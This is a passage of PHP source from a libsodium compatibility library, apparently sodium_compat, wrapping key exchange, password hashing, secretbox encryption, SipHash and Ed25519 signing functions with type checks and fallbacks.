        if (ParagonIE_Sodium_Core_Util::strlen($server_public) !==
self::CRYPTO_BOX_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 4 must be
CRYPTO_BOX_PUBLICKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            if (is_callable('sodium_crypto_kx')) {
                return (string) sodium_crypto_kx(
                    $my_secret,
                    $their_public,
                    $client_public,
                    $server_public
                );
            }
        }
        if (self::use_fallback('crypto_kx')) {
            return (string) call_user_func(
                '\\Sodium\\crypto_kx',
                $my_secret,
                $their_public,
                $client_public,
                $server_public
            );
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::keyExchange(
                $my_secret,
                $their_public,
                $client_public,
                $server_public
            );
        }
        return ParagonIE_Sodium_Crypto::keyExchange(
            $my_secret,
            $their_public,
            $client_public,
            $server_public
        );
    }

    /**
     * @param int $outlen
     * @param string $passwd
     * @param string $salt
     * @param int $opslimit
     * @param int $memlimit
     * @param int|null $alg
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_pwhash($outlen, $passwd, $salt,
$opslimit, $memlimit, $alg = null)
    {
        ParagonIE_Sodium_Core_Util::declareScalarType($outlen,
'int', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($passwd,
'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($salt, 
'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($opslimit,
'int', 4);
        ParagonIE_Sodium_Core_Util::declareScalarType($memlimit,
'int', 5);

        if (self::useNewSodiumAPI()) {
            if (!is_null($alg)) {
                ParagonIE_Sodium_Core_Util::declareScalarType($alg,
'int', 6);
                return sodium_crypto_pwhash($outlen, $passwd, $salt,
$opslimit, $memlimit, $alg);
            }
            return sodium_crypto_pwhash($outlen, $passwd, $salt, $opslimit,
$memlimit);
        }
        if (self::use_fallback('crypto_pwhash')) {
            return (string)
call_user_func('\\Sodium\\crypto_pwhash', $outlen, $passwd,
$salt, $opslimit, $memlimit);
        }
        // This is the best we can do.
        throw new SodiumException(
            'This is not implemented, as it is not possible to
implement Argon2i with acceptable performance in pure-PHP'
        );
    }

    /**
     * !Exclusive to sodium_compat!
     *
     * This returns TRUE if the native crypto_pwhash API is available by
libsodium.
     * This returns FALSE if only sodium_compat is available.
     *
     * @return bool
     */
    public static function crypto_pwhash_is_available()
    {
        if (self::useNewSodiumAPI()) {
            return true;
        }
        if (self::use_fallback('crypto_pwhash')) {
            return true;
        }
        return false;
    }

    /**
     * @param string $passwd
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_pwhash_str($passwd, $opslimit, $memlimit)
    {
        ParagonIE_Sodium_Core_Util::declareScalarType($passwd,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($opslimit,
'int', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($memlimit,
'int', 3);

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_pwhash_str($passwd, $opslimit, $memlimit);
        }
        if (self::use_fallback('crypto_pwhash_str')) {
            return (string)
call_user_func('\\Sodium\\crypto_pwhash_str', $passwd, $opslimit,
$memlimit);
        }
        // This is the best we can do.
        throw new SodiumException(
            'This is not implemented, as it is not possible to
implement Argon2i with acceptable performance in pure-PHP'
        );
    }

    /**
     * @param string $passwd
     * @param string $hash
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_pwhash_str_verify($passwd, $hash)
    {
        ParagonIE_Sodium_Core_Util::declareScalarType($passwd,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($hash,
'string', 2);

        if (self::useNewSodiumAPI()) {
            return (bool) sodium_crypto_pwhash_str_verify($passwd, $hash);
        }
        if (self::use_fallback('crypto_pwhash_str_verify')) {
            return (bool)
call_user_func('\\Sodium\\crypto_pwhash_str_verify', $passwd,
$hash);
        }
        // This is the best we can do.
        throw new SodiumException(
            'This is not implemented, as it is not possible to
implement Argon2i with acceptable performance in pure-PHP'
        );
    }

    /**
     * @param int $outlen
     * @param string $passwd
     * @param string $salt
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function crypto_pwhash_scryptsalsa208sha256($outlen,
$passwd, $salt, $opslimit, $memlimit)
    {
        ParagonIE_Sodium_Core_Util::declareScalarType($outlen,
'int', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($passwd,
'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($salt, 
'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($opslimit,
'int', 4);
        ParagonIE_Sodium_Core_Util::declareScalarType($memlimit,
'int', 5);

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_pwhash_scryptsalsa208sha256(
                (int) $outlen,
                (string) $passwd,
                (string) $salt,
                (int) $opslimit,
                (int) $memlimit
            );
        }
        if
(self::use_fallback('crypto_pwhash_scryptsalsa208sha256')) {
            return (string) call_user_func(
                '\\Sodium\\crypto_pwhash_scryptsalsa208sha256',
                (int) $outlen,
                (string) $passwd,
                (string) $salt,
                (int) $opslimit,
                (int) $memlimit
            );
        }
        // This is the best we can do.
        throw new SodiumException(
            'This is not implemented, as it is not possible to
implement Scrypt with acceptable performance in pure-PHP'
        );
    }

    /**
     * !Exclusive to sodium_compat!
     *
     * This returns TRUE if the native crypto_pwhash API is available by
libsodium.
     * This returns FALSE if only sodium_compat is available.
     *
     * @return bool
     */
    public static function
crypto_pwhash_scryptsalsa208sha256_is_available()
    {
        if (self::useNewSodiumAPI()) {
            return true;
        }
        if
(self::use_fallback('crypto_pwhash_scryptsalsa208sha256')) {
            return true;
        }
        return false;
    }

    /**
     * @param string $passwd
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function crypto_pwhash_scryptsalsa208sha256_str($passwd,
$opslimit, $memlimit)
    {
        ParagonIE_Sodium_Core_Util::declareScalarType($passwd,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($opslimit,
'int', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($memlimit,
'int', 3);

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_pwhash_scryptsalsa208sha256_str(
                (string) $passwd,
                (int) $opslimit,
                (int) $memlimit
            );
        }
        if
(self::use_fallback('crypto_pwhash_scryptsalsa208sha256_str')) {
            return (string) call_user_func(
               
'\\Sodium\\crypto_pwhash_scryptsalsa208sha256_str',
                (string) $passwd,
                (int) $opslimit,
                (int) $memlimit
            );
        }
        // This is the best we can do.
        throw new SodiumException(
            'This is not implemented, as it is not possible to
implement Scrypt with acceptable performance in pure-PHP'
        );
    }

    /**
     * @param string $passwd
     * @param string $hash
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function
crypto_pwhash_scryptsalsa208sha256_str_verify($passwd, $hash)
    {
        ParagonIE_Sodium_Core_Util::declareScalarType($passwd,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($hash,
'string', 2);

        if (self::useNewSodiumAPI()) {
            return (bool)
sodium_crypto_pwhash_scryptsalsa208sha256_str_verify(
                (string) $passwd,
                (string) $hash
            );
        }
        if
(self::use_fallback('crypto_pwhash_scryptsalsa208sha256_str_verify'))
{
            return (bool) call_user_func(
               
'\\Sodium\\crypto_pwhash_scryptsalsa208sha256_str_verify',
                (string) $passwd,
                (string) $hash
            );
        }
        // This is the best we can do.
        throw new SodiumException(
            'This is not implemented, as it is not possible to
implement Scrypt with acceptable performance in pure-PHP'
        );
    }

    /**
     * Calculate the shared secret between your secret key and your
     * recipient's public key.
     *
     * Algorithm: X25519 (ECDH over Curve25519)
     *
     * @param string $secretKey
     * @param string $publicKey
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_scalarmult($secretKey, $publicKey)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($publicKey,
'string', 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !==
self::CRYPTO_BOX_SECRETKEYBYTES) {
            throw new SodiumException('Argument 1 must be
CRYPTO_BOX_SECRETKEYBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !==
self::CRYPTO_BOX_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 2 must be
CRYPTO_BOX_PUBLICKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_scalarmult($secretKey, $publicKey);
        }
        if (self::use_fallback('crypto_scalarmult')) {
            return (string)
call_user_func('\\Sodium\\crypto_scalarmult', $secretKey,
$publicKey);
        }

        /* Output validation: Forbid all-zero keys */
        if (ParagonIE_Sodium_Core_Util::hashEquals($secretKey,
str_repeat("\0", self::CRYPTO_BOX_SECRETKEYBYTES))) {
            throw new SodiumException('Zero secret key is not
allowed');
        }
        if (ParagonIE_Sodium_Core_Util::hashEquals($publicKey,
str_repeat("\0", self::CRYPTO_BOX_PUBLICKEYBYTES))) {
            throw new SodiumException('Zero public key is not
allowed');
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::scalarmult($secretKey,
$publicKey);
        }
        return ParagonIE_Sodium_Crypto::scalarmult($secretKey, $publicKey);
    }

    /**
     * Calculate an X25519 public key from an X25519 secret key.
     *
     * @param string $secretKey
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress TooFewArguments
     * @psalm-suppress MixedArgument
     */
    public static function crypto_scalarmult_base($secretKey)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey,
'string', 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !==
self::CRYPTO_BOX_SECRETKEYBYTES) {
            throw new SodiumException('Argument 1 must be
CRYPTO_BOX_SECRETKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_scalarmult_base($secretKey);
        }
        if (self::use_fallback('crypto_scalarmult_base')) {
            return (string)
call_user_func('\\Sodium\\crypto_scalarmult_base', $secretKey);
        }
        if (ParagonIE_Sodium_Core_Util::hashEquals($secretKey,
str_repeat("\0", self::CRYPTO_BOX_SECRETKEYBYTES))) {
            throw new SodiumException('Zero secret key is not
allowed');
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::scalarmult_base($secretKey);
        }
        return ParagonIE_Sodium_Crypto::scalarmult_base($secretKey);
    }

    /**
     * Authenticated symmetric-key encryption.
     *
     * Algorithm: XSalsa20-Poly1305
     *
     * @param string $plaintext The message you're encrypting
     * @param string $nonce A Number to be used Once; must be 24 bytes
     * @param string $key Symmetric encryption key
     * @return string           Ciphertext with Poly1305 MAC
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_secretbox($plaintext, $nonce, $key)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce,
'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key,
'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !==
self::CRYPTO_SECRETBOX_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be
CRYPTO_SECRETBOX_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !==
self::CRYPTO_SECRETBOX_KEYBYTES) {
            throw new SodiumException('Argument 3 must be
CRYPTO_SECRETBOX_KEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_secretbox($plaintext, $nonce, $key);
        }
        if (self::use_fallback('crypto_secretbox')) {
            return (string)
call_user_func('\\Sodium\\crypto_secretbox', $plaintext, $nonce,
$key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::secretbox($plaintext, $nonce,
$key);
        }
        return ParagonIE_Sodium_Crypto::secretbox($plaintext, $nonce,
$key);
    }

    /**
     * Decrypts a message previously encrypted with crypto_secretbox().
     *
     * @param string $ciphertext Ciphertext with Poly1305 MAC
     * @param string $nonce      A Number to be used Once; must be 24 bytes
     * @param string $key        Symmetric encryption key
     * @return string            Original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_secretbox_open($ciphertext, $nonce, $key)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce,
'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key,
'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !==
self::CRYPTO_SECRETBOX_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be
CRYPTO_SECRETBOX_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !==
self::CRYPTO_SECRETBOX_KEYBYTES) {
            throw new SodiumException('Argument 3 must be
CRYPTO_SECRETBOX_KEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            /**
             * @psalm-suppress InvalidReturnStatement
             * @psalm-suppress FalsableReturnStatement
             */
            return sodium_crypto_secretbox_open($ciphertext, $nonce, $key);
        }
        if (self::use_fallback('crypto_secretbox_open')) {
            return
call_user_func('\\Sodium\\crypto_secretbox_open', $ciphertext,
$nonce, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::secretbox_open($ciphertext,
$nonce, $key);
        }
        return ParagonIE_Sodium_Crypto::secretbox_open($ciphertext, $nonce,
$key);
    }

    /**
     * Return a secure random key for use with crypto_secretbox
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_secretbox_keygen()
    {
        return random_bytes(self::CRYPTO_SECRETBOX_KEYBYTES);
    }

    /**
     * Authenticated symmetric-key encryption.
     *
     * Algorithm: XChaCha20-Poly1305
     *
     * @param string $plaintext The message you're encrypting
     * @param string $nonce     A Number to be used Once; must be 24 bytes
     * @param string $key       Symmetric encryption key
     * @return string           Ciphertext with Poly1305 MAC
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_secretbox_xchacha20poly1305($plaintext,
$nonce, $key)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce,
'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key,
'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !==
self::CRYPTO_SECRETBOX_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be
CRYPTO_SECRETBOX_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !==
self::CRYPTO_SECRETBOX_KEYBYTES) {
            throw new SodiumException('Argument 3 must be
CRYPTO_SECRETBOX_KEYBYTES long.');
        }
        if (PHP_INT_SIZE === 4) {
            return
ParagonIE_Sodium_Crypto32::secretbox_xchacha20poly1305($plaintext, $nonce,
$key);
        }
        return
ParagonIE_Sodium_Crypto::secretbox_xchacha20poly1305($plaintext, $nonce,
$key);
    }
    /**
     * Decrypts a message previously encrypted with
crypto_secretbox_xchacha20poly1305().
     *
     * @param string $ciphertext Ciphertext with Poly1305 MAC
     * @param string $nonce      A Number to be used Once; must be 24 bytes
     * @param string $key        Symmetric encryption key
     * @return string            Original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function
crypto_secretbox_xchacha20poly1305_open($ciphertext, $nonce, $key)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce,
'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key,
'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !==
self::CRYPTO_SECRETBOX_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be
CRYPTO_SECRETBOX_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !==
self::CRYPTO_SECRETBOX_KEYBYTES) {
            throw new SodiumException('Argument 3 must be
CRYPTO_SECRETBOX_KEYBYTES long.');
        }

        if (PHP_INT_SIZE === 4) {
            return
ParagonIE_Sodium_Crypto32::secretbox_xchacha20poly1305_open($ciphertext,
$nonce, $key);
        }
        return
ParagonIE_Sodium_Crypto::secretbox_xchacha20poly1305_open($ciphertext,
$nonce, $key);
    }

    /**
     * Calculates a SipHash-2-4 hash of a message for a given key.
     *
     * @param string $message Input message
     * @param string $key SipHash-2-4 key
     * @return string         Hash
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_shorthash($message, $key)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($key,
'string', 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($key) !==
self::CRYPTO_SHORTHASH_KEYBYTES) {
            throw new SodiumException('Argument 2 must be
CRYPTO_SHORTHASH_KEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_shorthash($message, $key);
        }
        if (self::use_fallback('crypto_shorthash')) {
            return (string)
call_user_func('\\Sodium\\crypto_shorthash', $message, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_SipHash::sipHash24($message,
$key);
        }
        return ParagonIE_Sodium_Core_SipHash::sipHash24($message, $key);
    }

    /**
     * Return a secure random key for use with crypto_shorthash
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_shorthash_keygen()
    {
        return random_bytes(self::CRYPTO_SHORTHASH_KEYBYTES);
    }

    /**
     * Returns a signed message. You probably want crypto_sign_detached()
     * instead, which only returns the signature.
     *
     * Algorithm: Ed25519 (EdDSA over Curve25519)
     *
     * @param string $message Message to be signed.
     * @param string $secretKey Secret signing key.
     * @return string           Signed message (signature is prefixed).
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_sign($message, $secretKey)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey,
'string', 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !==
self::CRYPTO_SIGN_SECRETKEYBYTES) {
            throw new SodiumException('Argument 2 must be
CRYPTO_SIGN_SECRETKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign($message, $secretKey);
        }
        if (self::use_fallback('crypto_sign')) {
            return (string)
call_user_func('\\Sodium\\crypto_sign', $message, $secretKey);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::sign($message, $secretKey);
        }
        return ParagonIE_Sodium_Crypto::sign($message, $secretKey);
    }

    /**
     * Validates a signed message then returns the message.
     *
     * @param string $signedMessage A signed message
     * @param string $publicKey A public key
     * @return string               The original message (if the signature
is
     *                              valid for this public key)
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_sign_open($signedMessage, $publicKey)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($signedMessage,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($publicKey,
'string', 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($signedMessage) <
self::CRYPTO_SIGN_BYTES) {
            throw new SodiumException('Argument 1 must be at least
CRYPTO_SIGN_BYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !==
self::CRYPTO_SIGN_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 2 must be
CRYPTO_SIGN_PUBLICKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            /**
             * @psalm-suppress InvalidReturnStatement
             * @psalm-suppress FalsableReturnStatement
             */
            return sodium_crypto_sign_open($signedMessage, $publicKey);
        }
        if (self::use_fallback('crypto_sign_open')) {
            return call_user_func('\\Sodium\\crypto_sign_open',
$signedMessage, $publicKey);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::sign_open($signedMessage,
$publicKey);
        }
        return ParagonIE_Sodium_Crypto::sign_open($signedMessage,
$publicKey);
    }

    /**
     * Generate a new random Ed25519 keypair.
     *
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function crypto_sign_keypair()
    {
        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_keypair();
        }
        if (self::use_fallback('crypto_sign_keypair')) {
            return (string)
call_user_func('\\Sodium\\crypto_sign_keypair');
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_Ed25519::keypair();
        }
        return ParagonIE_Sodium_Core_Ed25519::keypair();
    }

    /**
     * Generate an Ed25519 keypair from a seed.
     *
     * @param string $seed Input seed
     * @return string      Keypair
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_seed_keypair($seed)
    {
        ParagonIE_Sodium_Core_Util::declareScalarType($seed,
'string', 1);

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_seed_keypair($seed);
        }
        if (self::use_fallback('crypto_sign_keypair')) {
            return (string)
call_user_func('\\Sodium\\crypto_sign_seed_keypair', $seed);
        }
        $publicKey = '';
        $secretKey = '';
        if (PHP_INT_SIZE === 4) {
            ParagonIE_Sodium_Core32_Ed25519::seed_keypair($publicKey,
$secretKey, $seed);
        } else {
            ParagonIE_Sodium_Core_Ed25519::seed_keypair($publicKey,
$secretKey, $seed);
        }
        return $secretKey . $publicKey;
    }

    /**
     * Extract an Ed25519 public key from an Ed25519 keypair.
     *
     * @param string $keypair Keypair
     * @return string         Public key
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_publickey($keypair)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair,
'string', 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !==
self::CRYPTO_SIGN_KEYPAIRBYTES) {
            throw new SodiumException('Argument 1 must be
CRYPTO_SIGN_KEYPAIRBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_publickey($keypair);
        }
        if (self::use_fallback('crypto_sign_publickey')) {
            return (string)
call_user_func('\\Sodium\\crypto_sign_publickey', $keypair);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_Ed25519::publickey($keypair);
        }
        return ParagonIE_Sodium_Core_Ed25519::publickey($keypair);
    }

    /**
     * Calculate an Ed25519 public key from an Ed25519 secret key.
     *
     * @param string $secretKey Your Ed25519 secret key
     * @return string           The corresponding Ed25519 public key
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_publickey_from_secretkey($secretKey)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey,
'string', 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !==
self::CRYPTO_SIGN_SECRETKEYBYTES) {
            throw new SodiumException('Argument 1 must be
CRYPTO_SIGN_SECRETKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_publickey_from_secretkey($secretKey);
        }
        if
(self::use_fallback('crypto_sign_publickey_from_secretkey')) {
            return (string)
call_user_func('\\Sodium\\crypto_sign_publickey_from_secretkey',
$secretKey);
        }
        if (PHP_INT_SIZE === 4) {
            return
ParagonIE_Sodium_Core32_Ed25519::publickey_from_secretkey($secretKey);
        }
        return
ParagonIE_Sodium_Core_Ed25519::publickey_from_secretkey($secretKey);
    }

    /**
     * Extract an Ed25519 secret key from an Ed25519 keypair.
     *
     * @param string $keypair Keypair
     * @return string         Secret key
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_secretkey($keypair)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair,
'string', 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !==
self::CRYPTO_SIGN_KEYPAIRBYTES) {
            throw new SodiumException('Argument 1 must be
CRYPTO_SIGN_KEYPAIRBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_secretkey($keypair);
        }
        if (self::use_fallback('crypto_sign_secretkey')) {
            return (string)
call_user_func('\\Sodium\\crypto_sign_secretkey', $keypair);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_Ed25519::secretkey($keypair);
        }
        return ParagonIE_Sodium_Core_Ed25519::secretkey($keypair);
    }

    /**
     * Calculate the Ed25519 signature of a message and return ONLY the
signature.
     *
     * Algorithm: Ed25519 (EdDSA over Curve25519)
     *
     * @param string $message Message to be signed
     * @param string $secretKey Secret signing key
     * @return string           Digital signature
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_detached($message, $secretKey)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey,
'string', 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !==
self::CRYPTO_SIGN_SECRETKEYBYTES) {
            throw new SodiumException('Argument 2 must be
CRYPTO_SIGN_SECRETKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_detached($message, $secretKey);
        }
        if (self::use_fallback('crypto_sign_detached')) {
            return (string)
call_user_func('\\Sodium\\crypto_sign_detached', $message,
$secretKey);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::sign_detached($message,
$secretKey);
        }
        return ParagonIE_Sodium_Crypto::sign_detached($message,
$secretKey);
    }

    /**
     * Verify the Ed25519 signature of a message.
     *
     * @param string $signature Digital sginature
     * @param string $message Message to be verified
     * @param string $publicKey Public key
     * @return bool             TRUE if this signature is good for this
public key;
     *                          FALSE otherwise
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_verify_detached($signature,
$message, $publicKey)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($signature,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($message,
'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($publicKey,
'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($signature) !==
self::CRYPTO_SIGN_BYTES) {
            throw new SodiumException('Argument 1 must be
CRYPTO_SIGN_BYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !==
self::CRYPTO_SIGN_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 3 must be
CRYPTO_SIGN_PUBLICKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_verify_detached($signature, $message,
$publicKey);
        }
        if (self::use_fallback('crypto_sign_verify_detached')) {
            return (bool) call_user_func(
                '\\Sodium\\crypto_sign_verify_detached',
                $signature,
                $message,
                $publicKey
            );
        }
        if (PHP_INT_SIZE === 4) {
            return
ParagonIE_Sodium_Crypto32::sign_verify_detached($signature, $message,
$publicKey);
        }
        return ParagonIE_Sodium_Crypto::sign_verify_detached($signature,
$message, $publicKey);
    }

    /**
     * Convert an Ed25519 public key to a Curve25519 public key
     *
     * @param string $pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_ed25519_pk_to_curve25519($pk)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($pk,
'string', 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($pk) <
self::CRYPTO_SIGN_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 1 must be at least
CRYPTO_SIGN_PUBLICKEYBYTES long.');
        }
        if (self::useNewSodiumAPI()) {
            if
(is_callable('crypto_sign_ed25519_pk_to_curve25519')) {
                return (string)
sodium_crypto_sign_ed25519_pk_to_curve25519($pk);
            }
        }
        if
(self::use_fallback('crypto_sign_ed25519_pk_to_curve25519')) {
            return (string)
call_user_func('\\Sodium\\crypto_sign_ed25519_pk_to_curve25519',
$pk);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_Ed25519::pk_to_curve25519($pk);
        }
        return ParagonIE_Sodium_Core_Ed25519::pk_to_curve25519($pk);
    }

    /**
     * Convert an Ed25519 secret key to a Curve25519 secret key
     *
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_ed25519_sk_to_curve25519($sk)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($sk,
'string', 1);

        /* Input validation: */
